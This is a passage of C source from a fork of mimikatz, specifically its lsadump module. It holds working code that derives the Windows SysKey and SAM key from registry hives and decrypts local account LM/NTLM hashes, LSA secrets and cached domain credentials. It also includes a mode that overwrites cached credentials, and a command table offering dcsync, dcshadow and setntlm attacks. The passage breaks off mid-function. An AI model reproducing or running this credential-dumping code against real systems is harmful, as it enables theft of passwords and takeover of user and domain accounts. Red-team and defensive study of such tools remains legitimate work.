forked from gentilkiwi/mimikatz
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kuhl_m_lsadump.c
2394 lines (2251 loc) · 98.5 KB
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kuhl_m_lsadump.c
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/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_lsadump.h"
const KUHL_M_C kuhl_m_c_lsadump[] = {
{kuhl_m_lsadump_sam, L"sam", L"Get the SysKey to decrypt SAM entries (from registry or hives)"},
{kuhl_m_lsadump_secrets, L"secrets", L"Get the SysKey to decrypt SECRETS entries (from registry or hives)"},
{kuhl_m_lsadump_cache, L"cache", L"Get the SysKey to decrypt NL$KM then MSCache(v2) (from registry or hives)"},
{kuhl_m_lsadump_lsa, L"lsa", L"Ask LSA Server to retrieve SAM/AD entries (normal, patch on the fly or inject)"},
{kuhl_m_lsadump_trust, L"trust", L"Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly)"},
{kuhl_m_lsadump_bkey, L"backupkeys", NULL},
{kuhl_m_lsadump_rpdata, L"rpdata", NULL},
{kuhl_m_lsadump_dcsync, L"dcsync", L"Ask a DC to synchronize an object"},
{kuhl_m_lsadump_dcshadow, L"dcshadow", L"They told me I could be anything I wanted, so I became a domain controller"},
{kuhl_m_lsadump_setntlm, L"setntlm", L"Ask a server to set a new password/ntlm for one user"},
{kuhl_m_lsadump_changentlm, L"changentlm", L"Ask a server to set a new password/ntlm for one user"},
{kuhl_m_lsadump_netsync, L"netsync", L"Ask a DC to send current and previous NTLM hash of DC/SRV/WKS"},
{kuhl_m_lsadump_packages, L"packages", NULL},
{kuhl_m_lsadump_mbc, L"mbc", NULL},
};
const KUHL_M kuhl_m_lsadump = {
L"lsadump", L"LsaDump module", NULL,
ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, NULL, NULL
};
NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[])
{
HANDLE hDataSystem, hDataSam;
PKULL_M_REGISTRY_HANDLE hRegistry, hRegistry2;
HKEY hBase;
BYTE sysKey[SYSKEY_LENGTH];
LPCWSTR szSystem = NULL, szSam = NULL;
if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
{
hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hDataSystem != INVALID_HANDLE_VALUE)
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hRegistry))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hRegistry, NULL, sysKey))
{
if(kull_m_string_args_byName(argc, argv, L"sam", &szSam, NULL))
{
hDataSam = CreateFile(szSam, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hDataSam != INVALID_HANDLE_VALUE)
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSam, FALSE, &hRegistry2))
{
kuhl_m_lsadump_getUsersAndSamKey(hRegistry2, NULL, sysKey);
kull_m_registry_close(hRegistry2);
}
CloseHandle(hDataSam);
}
else PRINT_ERROR_AUTO(L"CreateFile (SAM hive)");
}
}
kull_m_registry_close(hRegistry);
}
CloseHandle(hDataSystem);
}
else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)");
}
else
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hRegistry))
{
if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hBase))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hRegistry, hBase, sysKey))
{
if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SAM", 0, KEY_READ, &hBase))
{
kuhl_m_lsadump_getUsersAndSamKey(hRegistry, hBase, sysKey);
kull_m_registry_RegCloseKey(hRegistry, hBase);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SAM)");
}
kull_m_registry_RegCloseKey(hRegistry, hBase);
}
kull_m_registry_close(hRegistry);
}
}
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_lsadump_secrets(int argc, wchar_t * argv[])
{
return kuhl_m_lsadump_secretsOrCache(argc, argv, TRUE);
}
NTSTATUS kuhl_m_lsadump_cache(int argc, wchar_t * argv[])
{
return kuhl_m_lsadump_secretsOrCache(argc, argv, FALSE);
}
NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsOrCache)
{
HANDLE hDataSystem, hDataSecurity;
PKULL_M_REGISTRY_HANDLE hSystem, hSecurity;
HKEY hSystemBase, hSecurityBase;
BYTE sysKey[SYSKEY_LENGTH];
LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword, szSubject;
UNICODE_STRING uPassword;
KUHL_LSADUMP_DCC_CACHE_DATA cacheData = {0};
HCERTSTORE hCertStore = NULL;
PCCERT_CONTEXT pCertCtx;
BOOL toFree;
if(!secretsOrCache)
{
if(kull_m_string_args_byName(argc, argv, L"user", &cacheData.username, NULL))
{
kprintf(L"> User cache replace mode !\n");
kprintf(L" * user : %s\n", cacheData.username);
if(kull_m_string_args_byName(argc, argv, L"dcc", &szHash, NULL))
{
if(cacheData.isDCC = kull_m_string_stringToHex(szHash, cacheData.dcc, LM_NTLM_HASH_LENGTH))
{
kprintf(L" * dccX : ");
kull_m_string_wprintf_hex(cacheData.dcc, LM_NTLM_HASH_LENGTH, 0);
kprintf(L"\n");
}
else PRINT_ERROR(L"DCC hash length must be 32 (16 bytes) - will use default password...\n");
}
else
{
if(kull_m_string_args_byName(argc, argv, L"ntlm", &szHash, NULL))
{
cacheData.isNtlm = kull_m_string_stringToHex(szHash, cacheData.ntlm, LM_NTLM_HASH_LENGTH);
if(!cacheData.isNtlm)
PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes) - will use default password...\n");
}
if(!cacheData.isNtlm)
{
kull_m_string_args_byName(argc, argv, L"password", &szPassword, MIMIKATZ);
kprintf(L" * password : %s\n", szPassword);
RtlInitUnicodeString(&uPassword, szPassword);
cacheData.isNtlm = NT_SUCCESS(RtlDigestNTLM(&uPassword, cacheData.ntlm));
}
if(cacheData.isNtlm)
{
kprintf(L" * ntlm : ");
kull_m_string_wprintf_hex(cacheData.ntlm, LM_NTLM_HASH_LENGTH, 0);
kprintf(L"\n");
}
else cacheData.username = NULL;
}
kprintf(L"\n");
}
else if(kull_m_string_args_byName(argc, argv, L"subject", &szSubject, NULL))
{
if(hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, CERT_SYSTEM_STORE_CURRENT_USER | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My"))
{
if(pCertCtx = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szSubject, NULL))
{
if(CryptAcquireCertificatePrivateKey(pCertCtx, 0, NULL, &cacheData.hProv, &cacheData.keySpec, &toFree))
{
if(cacheData.keySpec == CERT_NCRYPT_KEY_SPEC)
{
PRINT_ERROR(L"CNG not supported yet\n");
__try
{
if(toFree)
NCryptFreeObject(cacheData.hProv);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n");
}
cacheData.hProv = 0;
}
}
CertFreeCertificateContext(pCertCtx);
}
else PRINT_ERROR_AUTO(L"CertFindCertificateInStore");
CertCloseStore(hCertStore, CERT_CLOSE_STORE_FORCE_FLAG);
}
else PRINT_ERROR_AUTO(L"CertOpenStore");
}
}
if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
{
hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hDataSystem != INVALID_HANDLE_VALUE)
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hSystem))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, NULL, sysKey))
{
if(kull_m_string_args_byName(argc, argv, L"security", &szSecurity, NULL))
{
hDataSecurity = CreateFile(szSecurity, GENERIC_READ | (cacheData.username ? GENERIC_WRITE : 0), 0, NULL, OPEN_EXISTING, 0, NULL);
if(hDataSecurity != INVALID_HANDLE_VALUE)
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSecurity, cacheData.username ? TRUE : FALSE, &hSecurity))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSecurity, NULL, hSystem, NULL, sysKey, secretsOrCache, &cacheData);
kull_m_registry_close(hSecurity);
}
CloseHandle(hDataSecurity);
} else PRINT_ERROR_AUTO(L"CreateFile (SECURITY hive)");
}
}
kull_m_registry_close(hSystem);
}
CloseHandle(hDataSystem);
} else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)");
}
else
{
if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hSystem))
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hSystemBase))
{
if(kuhl_m_lsadump_getComputerAndSyskey(hSystem, hSystemBase, sysKey))
{
if(kull_m_registry_RegOpenKeyEx(hSystem, HKEY_LOCAL_MACHINE, L"SECURITY", 0, KEY_READ, &hSecurityBase))
{
kuhl_m_lsadump_getLsaKeyAndSecrets(hSystem, hSecurityBase, hSystem, hSystemBase, sysKey, secretsOrCache, &cacheData);
kull_m_registry_RegCloseKey(hSystem, hSecurityBase);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx (SECURITY)");
}
kull_m_registry_RegCloseKey(hSystem, hSystemBase);
}
kull_m_registry_close(hSystem);
}
}
if(cacheData.hProv && toFree)
CryptReleaseContext(cacheData.hProv, 0);
return STATUS_SUCCESS;
}
const wchar_t * kuhl_m_lsadump_CONTROLSET_SOURCES[] = {L"Current", L"Default"};
BOOL kuhl_m_lsadump_getCurrentControlSet(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hSystemBase, PHKEY phCurrentControlSet)
{
BOOL status = FALSE;
HKEY hSelect;
DWORD i, szNeeded, controlSet;
wchar_t currentControlSet[] = L"ControlSet000";
if(kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, L"Select", 0, KEY_READ, &hSelect))
{
for(i = 0; !status && (i < ARRAYSIZE(kuhl_m_lsadump_CONTROLSET_SOURCES)); i++)
{
szNeeded = sizeof(DWORD);
status = kull_m_registry_RegQueryValueEx(hRegistry, hSelect, kuhl_m_lsadump_CONTROLSET_SOURCES[i], NULL, NULL, (LPBYTE) &controlSet, &szNeeded);
}
if(status)
{
status = FALSE;
if(swprintf_s(currentControlSet + 10, 4, L"%03u", controlSet) != -1)
status = kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, currentControlSet, 0, KEY_READ, phCurrentControlSet);
}
kull_m_registry_RegCloseKey(hRegistry, hSelect);
}
return status;
}
const wchar_t * kuhl_m_lsadump_SYSKEY_NAMES[] = {L"JD", L"Skew1", L"GBG", L"Data"};
const BYTE kuhl_m_lsadump_SYSKEY_PERMUT[] = {11, 6, 7, 1, 8, 10, 14, 0, 3, 5, 2, 15, 13, 9, 12, 4};
BOOL kuhl_m_lsadump_getSyskey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hLSA, LPBYTE sysKey)
{
BOOL status = TRUE;
DWORD i;
HKEY hKey;
wchar_t buffer[8 + 1];
DWORD szBuffer;
BYTE buffKey[SYSKEY_LENGTH];
for(i = 0 ; (i < ARRAYSIZE(kuhl_m_lsadump_SYSKEY_NAMES)) && status; i++)
{
status = FALSE;
if(kull_m_registry_RegOpenKeyEx(hRegistry, hLSA, kuhl_m_lsadump_SYSKEY_NAMES[i], 0, KEY_READ, &hKey))
{
szBuffer = 8 + 1;
if(kull_m_registry_RegQueryInfoKey(hRegistry, hKey, buffer, &szBuffer, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL))
status = swscanf_s(buffer, L"%x", (DWORD *) &buffKey[i*sizeof(DWORD)]) != -1;
kull_m_registry_RegCloseKey(hRegistry, hKey);
}
else PRINT_ERROR(L"LSA Key Class read error\n");
}
if(status)
for(i = 0; i < SYSKEY_LENGTH; i++)
sysKey[i] = buffKey[kuhl_m_lsadump_SYSKEY_PERMUT[i]];
return status;
}
BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey)
{
BOOL status = FALSE;
PVOID computerName;
HKEY hCurrentControlSet, hComputerNameOrLSA;
if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet))
{
kprintf(L"Domain : ");
if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\ComputerName\\ComputerName", L"ComputerName", NULL, &computerName, NULL))
{
kprintf(L"%s\n", computerName);
LocalFree(computerName);
}
kprintf(L"SysKey : ");
if(kull_m_registry_RegOpenKeyEx(hRegistry, hCurrentControlSet, L"Control\\LSA", 0, KEY_READ, &hComputerNameOrLSA))
{
if(status = kuhl_m_lsadump_getSyskey(hRegistry, hComputerNameOrLSA, sysKey))
{
kull_m_string_wprintf_hex(sysKey, SYSKEY_LENGTH, 0);
kprintf(L"\n");
}
else PRINT_ERROR(L"kuhl_m_lsadump_getSyskey KO\n");
kull_m_registry_RegCloseKey(hRegistry, hComputerNameOrLSA);
}
else PRINT_ERROR(L"kull_m_registry_RegOpenKeyEx LSA KO\n");
kull_m_registry_RegCloseKey(hRegistry, hCurrentControlSet);
}
return status;
}
BOOL kuhl_m_lsadump_getUsersAndSamKey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSAMBase, IN LPBYTE sysKey)
{
BOOL status = FALSE;
BYTE samKey[SAM_KEY_DATA_KEY_LENGTH];
wchar_t * user;
HKEY hAccount, hUsers;
DWORD i, nbSubKeys, szMaxSubKeyLen, szUser, rid;
PUSER_ACCOUNT_V pUAv;
LPVOID data;
if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hSAMBase, L"SAM\\Domains\\Account", L"V", NULL, &data, &szUser))
{
kprintf(L"Local SID : ");
kull_m_string_displaySID((PBYTE) data + szUser - (sizeof(SID) + sizeof(DWORD) * 3));
kprintf(L"\n");
LocalFree(data);
}
if(kull_m_registry_RegOpenKeyEx(hRegistry, hSAMBase, L"SAM\\Domains\\Account", 0, KEY_READ, &hAccount))
{
if(kuhl_m_lsadump_getSamKey(hRegistry, hAccount, sysKey, samKey))
{
if(kull_m_registry_RegOpenKeyEx(hRegistry, hAccount, L"Users", 0, KEY_READ, &hUsers))
{
if(status = kull_m_registry_RegQueryInfoKey(hRegistry, hUsers, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL))
{
szMaxSubKeyLen++;
if(user = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t)))
{
for(i = 0; i < nbSubKeys; i++)
{
szUser = szMaxSubKeyLen;
if(kull_m_registry_RegEnumKeyEx(hRegistry, hUsers, i, user, &szUser, NULL, NULL, NULL, NULL))
{
if(_wcsicmp(user, L"Names"))
{
if(swscanf_s(user, L"%x", &rid) != -1)
{
kprintf(L"\nRID : %08x (%u)\n", rid, rid);
if(status &= kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hUsers, user, L"V", NULL, (LPVOID *) &pUAv, NULL))
{
kprintf(L"User : %.*s\n", pUAv->Username.lenght / sizeof(wchar_t), (wchar_t *) (pUAv->datas + pUAv->Username.offset));
kuhl_m_lsadump_getHash(&pUAv->LMHash, pUAv->datas, samKey, rid, FALSE, FALSE);
kuhl_m_lsadump_getHash(&pUAv->NTLMHash, pUAv->datas, samKey, rid, TRUE, FALSE);
kuhl_m_lsadump_getHash(&pUAv->LMHistory, pUAv->datas, samKey, rid, FALSE, TRUE);
kuhl_m_lsadump_getHash(&pUAv->NTLMHistory, pUAv->datas, samKey, rid, TRUE, TRUE);
LocalFree(pUAv);
}
}
}
}
}
LocalFree(user);
}
}
kull_m_registry_RegCloseKey(hRegistry, hUsers);
}
}
else PRINT_ERROR(L"kuhl_m_lsadump_getSamKey KO\n");
kull_m_registry_RegCloseKey(hRegistry, hAccount);
}
else PRINT_ERROR_AUTO(L"kull_m_registry_RegOpenKeyEx SAM Accounts");
return status;
}
const BYTE kuhl_m_lsadump_NTPASSWORD[] = "NTPASSWORD",
kuhl_m_lsadump_LMPASSWORD[] = "LMPASSWORD",
kuhl_m_lsadump_NTPASSWORDHISTORY[] = "NTPASSWORDHISTORY",
kuhl_m_lsadump_LMPASSWORDHISTORY[] = "LMPASSWORDHISTORY";
BOOL kuhl_m_lsadump_getHash(PSAM_SENTRY pSamHash, LPCBYTE pStartOfData, LPCBYTE samKey, DWORD rid, BOOL isNtlm, BOOL isHistory)
{
BOOL status = FALSE;
MD5_CTX md5ctx;
PSAM_HASH pHash = (PSAM_HASH) (pStartOfData + pSamHash->offset);
PSAM_HASH_AES pHashAes;
CRYPTO_BUFFER cypheredHashBuffer = {0, 0, NULL}, keyBuffer = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest};
PVOID out;
DWORD len;
if(pSamHash->offset)
{
switch(pHash->Revision)
{
case 1:
if(pSamHash->lenght >= sizeof(SAM_HASH))
{
MD5Init(&md5ctx);
MD5Update(&md5ctx, samKey, SAM_KEY_DATA_KEY_LENGTH);
MD5Update(&md5ctx, &rid, sizeof(DWORD));
MD5Update(&md5ctx, isNtlm ? (isHistory ? kuhl_m_lsadump_NTPASSWORDHISTORY : kuhl_m_lsadump_NTPASSWORD) : (isHistory ? kuhl_m_lsadump_LMPASSWORDHISTORY : kuhl_m_lsadump_LMPASSWORD), isNtlm ? (isHistory ? sizeof(kuhl_m_lsadump_NTPASSWORDHISTORY) : sizeof(kuhl_m_lsadump_NTPASSWORD)) : (isHistory ? sizeof(kuhl_m_lsadump_LMPASSWORDHISTORY) : sizeof(kuhl_m_lsadump_LMPASSWORD)));
MD5Final(&md5ctx);
cypheredHashBuffer.Length = cypheredHashBuffer.MaximumLength = pSamHash->lenght - FIELD_OFFSET(SAM_HASH, data);
if(cypheredHashBuffer.Buffer = (PBYTE) LocalAlloc(LPTR, cypheredHashBuffer.Length))
{
RtlCopyMemory(cypheredHashBuffer.Buffer, pHash->data, cypheredHashBuffer.Length);
if(!(status = NT_SUCCESS(RtlEncryptDecryptRC4(&cypheredHashBuffer, &keyBuffer))))
PRINT_ERROR(L"RtlEncryptDecryptRC4\n");
}
}
break;
case 2:
pHashAes = (PSAM_HASH_AES) pHash;
if(pHashAes->dataOffset >= SAM_KEY_DATA_SALT_LENGTH)
{
if(kull_m_crypto_genericAES128Decrypt(samKey, pHashAes->Salt, pHashAes->data, pSamHash->lenght - FIELD_OFFSET(SAM_HASH_AES, data), &out, &len))
{
cypheredHashBuffer.Length = cypheredHashBuffer.MaximumLength = len;
if(cypheredHashBuffer.Buffer = (PBYTE) LocalAlloc(LPTR, cypheredHashBuffer.Length))
{
RtlCopyMemory(cypheredHashBuffer.Buffer, out, len);
status = TRUE;
}
LocalFree(out);
}
}
break;
default:
PRINT_ERROR(L"Unknow SAM_HASH revision (%hu)\n", pHash->Revision);
}
if(status)
kuhl_m_lsadump_dcsync_decrypt(cypheredHashBuffer.Buffer, cypheredHashBuffer.Length, rid, isNtlm ? (isHistory ? L"ntlm" : L"NTLM" ) : (isHistory ? L"lm " : L"LM "), isHistory);
if(cypheredHashBuffer.Buffer)
LocalFree(cypheredHashBuffer.Buffer);
}
return status;
}
const BYTE kuhl_m_lsadump_qwertyuiopazxc[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
const BYTE kuhl_m_lsadump_01234567890123[] = "0123456789012345678901234567890123456789";
BOOL kuhl_m_lsadump_getSamKey(PKULL_M_REGISTRY_HANDLE hRegistry, HKEY hAccount, LPCBYTE sysKey, LPBYTE samKey)
{
BOOL status = FALSE;
PDOMAIN_ACCOUNT_F pDomAccF;
MD5_CTX md5ctx;
CRYPTO_BUFFER data = {SAM_KEY_DATA_KEY_LENGTH, SAM_KEY_DATA_KEY_LENGTH, samKey}, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest};
PSAM_KEY_DATA_AES pAesKey;
PVOID out;
DWORD len;
kprintf(L"\nSAMKey : ");
if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hAccount, NULL, L"F", NULL, (LPVOID *) &pDomAccF, NULL))
{
switch(pDomAccF->Revision)
{
case 2:
if(pDomAccF->keys1.Revision == 1)
{
MD5Init(&md5ctx);
MD5Update(&md5ctx, pDomAccF->keys1.Salt, SAM_KEY_DATA_SALT_LENGTH);
MD5Update(&md5ctx, kuhl_m_lsadump_qwertyuiopazxc, sizeof(kuhl_m_lsadump_qwertyuiopazxc));
MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
MD5Update(&md5ctx, kuhl_m_lsadump_01234567890123, sizeof(kuhl_m_lsadump_01234567890123));
MD5Final(&md5ctx);
RtlCopyMemory(samKey, pDomAccF->keys1.Key, SAM_KEY_DATA_KEY_LENGTH);
if(!(status = NT_SUCCESS(RtlEncryptDecryptRC4(&data, &key))))
PRINT_ERROR(L"RtlEncryptDecryptRC4 KO");
}
else PRINT_ERROR(L"Unknow Classic Struct Key revision (%u)", pDomAccF->keys1.Revision);
break;
case 3:
pAesKey = (PSAM_KEY_DATA_AES) &pDomAccF->keys1;
if(pAesKey->Revision == 2)
{
pAesKey = (PSAM_KEY_DATA_AES) &pDomAccF->keys1;
if(kull_m_crypto_genericAES128Decrypt(sysKey, pAesKey->Salt, pAesKey->data, pAesKey->DataLen, &out, &len))
{
if(status = (len == SAM_KEY_DATA_KEY_LENGTH))
RtlCopyMemory(samKey, out, SAM_KEY_DATA_KEY_LENGTH);
LocalFree(out);
}
}
else PRINT_ERROR(L"Unknow Struct Key revision (%u)", pDomAccF->keys1.Revision);
break;
default:
PRINT_ERROR(L"Unknow F revision (%hu)", pDomAccF->Revision);
}
LocalFree(pDomAccF);
}
else PRINT_ERROR(L"kull_m_registry_OpenAndQueryWithAlloc KO");
if(status)
kull_m_string_wprintf_hex(samKey, LM_NTLM_HASH_LENGTH, 0);
kprintf(L"\n");
return status;
}
BOOL kuhl_m_lsadump_getSids(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN LPCWSTR littleKey, IN LPCWSTR prefix)
{
BOOL status = FALSE;
wchar_t name[] = L"Pol__DmN", sid[] = L"Pol__DmS";
PVOID buffer;
LSA_UNICODE_STRING uString = {0, 0, NULL};
RtlCopyMemory(&name[3], littleKey, 2*sizeof(wchar_t));
RtlCopyMemory(&sid[3], littleKey, 2*sizeof(wchar_t));
kprintf(L"%s name : ", prefix);
if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicyBase, name, NULL, NULL, &buffer, NULL))
{
uString.Length = ((PUSHORT) buffer)[0];
uString.MaximumLength = ((PUSHORT) buffer)[1];
uString.Buffer = (PWSTR) ((PBYTE) buffer + *(PDWORD) ((PBYTE) buffer + 2*sizeof(USHORT)));
kprintf(L"%wZ", &uString);
LocalFree(buffer);
}
if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicyBase, sid, NULL, NULL, &buffer, NULL))
{
kprintf(L" ( ");
kull_m_string_displaySID((PSID) buffer);
kprintf(L" )");
LocalFree(buffer);
}
kprintf(L"\n");
return status;
}
BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecurityBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN LPBYTE sysKey, IN BOOL secretsOrCache, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData)
{
BOOL status = FALSE;
HKEY hPolicy;
PPOL_REVISION pPolRevision;
DWORD szNeeded, i, offset;
LPVOID buffer;
MD5_CTX md5ctx;
CRYPTO_BUFFER data = {3 * sizeof(NT5_SYSTEM_KEY), 3 * sizeof(NT5_SYSTEM_KEY), NULL}, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, md5ctx.digest};
PNT6_SYSTEM_KEYS nt6keysStream = NULL;
PNT6_SYSTEM_KEY nt6key;
PNT5_SYSTEM_KEY nt5key = NULL;
LSA_UNICODE_STRING uString = {0, 0, NULL};
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Policy", 0, KEY_READ, &hPolicy))
{
kprintf(L"\n");
kuhl_m_lsadump_getSids(hSecurity, hPolicy, L"Ac", L"Local");
kuhl_m_lsadump_getSids(hSecurity, hPolicy, L"Pr", L"Domain");
if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, L"PolDnDDN", NULL, NULL, &buffer, NULL))
{
uString.Length = ((PUSHORT) buffer)[0];
uString.MaximumLength = ((PUSHORT) buffer)[1];
uString.Buffer = (PWSTR) ((PBYTE) buffer + *(PDWORD) ((PBYTE) buffer + 2*sizeof(USHORT)));
kprintf(L"Domain FQDN : %wZ\n", &uString);
LocalFree(buffer);
}
if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, L"PolRevision", NULL, NULL, (LPVOID *) &pPolRevision, NULL))
{
kprintf(L"\nPolicy subsystem is : %hu.%hu\n", pPolRevision->Major, pPolRevision->Minor);
if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hPolicy, (pPolRevision->Minor > 9) ? L"PolEKList" : L"PolSecretEncryptionKey", NULL, NULL, &buffer, &szNeeded))
{
if(pPolRevision->Minor > 9) // NT 6
{
if(kuhl_m_lsadump_sec_aes256((PNT6_HARD_SECRET) buffer, szNeeded, NULL, sysKey))
{
if(nt6keysStream = (PNT6_SYSTEM_KEYS) LocalAlloc(LPTR, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize))
{
RtlCopyMemory(nt6keysStream, ((PNT6_HARD_SECRET) buffer)->clearSecret.Secret, ((PNT6_HARD_SECRET) buffer)->clearSecret.SecretSize);
kprintf(L"LSA Key(s) : %u, default ", nt6keysStream->nbKeys); kull_m_string_displayGUID(&nt6keysStream->CurrentKeyID); kprintf(L"\n");
for(i = 0, offset = 0; i < nt6keysStream->nbKeys; i++, offset += FIELD_OFFSET(NT6_SYSTEM_KEY, Key) + nt6key->KeySize)
{
nt6key = (PNT6_SYSTEM_KEY) ((PBYTE) nt6keysStream->Keys + offset);
kprintf(L" [%02u] ", i); kull_m_string_displayGUID(&nt6key->KeyId); kprintf(L" "); kull_m_string_wprintf_hex(nt6key->Key, nt6key->KeySize, 0); kprintf(L"\n");
}
}
}
}
else // NT 5
{
MD5Init(&md5ctx);
MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
for(i = 0; i < 1000; i++)
MD5Update(&md5ctx, ((PNT5_SYSTEM_KEYS) buffer)->lazyiv, LAZY_IV_SIZE);
MD5Final(&md5ctx);
data.Buffer = (PBYTE) ((PNT5_SYSTEM_KEYS) buffer)->keys;
if(NT_SUCCESS(RtlEncryptDecryptRC4(&data, &key)))
{
if(nt5key = (PNT5_SYSTEM_KEY) LocalAlloc(LPTR, sizeof(NT5_SYSTEM_KEY)))
{
RtlCopyMemory(nt5key->key, ((PNT5_SYSTEM_KEYS) buffer)->keys[1].key, sizeof(NT5_SYSTEM_KEY));
kprintf(L"LSA Key : ");
kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0);
kprintf(L"\n");
}
}
}
LocalFree(buffer);
}
LocalFree(pPolRevision);
}
if(nt6keysStream || nt5key)
{
if(secretsOrCache)
kuhl_m_lsadump_getSecrets(hSecurity, hPolicy, hSystem, hSystemBase, nt6keysStream, nt5key);
else
kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key, pCacheData);
}
kull_m_registry_RegCloseKey(hSecurity, hPolicy);
}
if(nt6keysStream)
LocalFree(nt6keysStream);
if(nt5key)
LocalFree(nt5key);
return status;
}
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique)
{
BOOL status = FALSE;
HKEY hSecrets, hSecret, hCurrentControlSet, hServiceBase;
DWORD i, nbSubKeys, szMaxSubKeyLen, szSecretName, szSecret;
PVOID pSecret;
wchar_t * secretName;
if(kull_m_registry_RegOpenKeyEx(hSecurity, hPolicyBase, L"Secrets", 0, KEY_READ, &hSecrets))
{
if(kuhl_m_lsadump_getCurrentControlSet(hSystem, hSystemBase, &hCurrentControlSet))
{
if(kull_m_registry_RegOpenKeyEx(hSystem, hCurrentControlSet, L"services", 0, KEY_READ, &hServiceBase))
{
if(kull_m_registry_RegQueryInfoKey(hSecurity, hSecrets, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL))
{
szMaxSubKeyLen++;
if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t)))
{
for(i = 0; i < nbSubKeys; i++)
{
szSecretName = szMaxSubKeyLen;
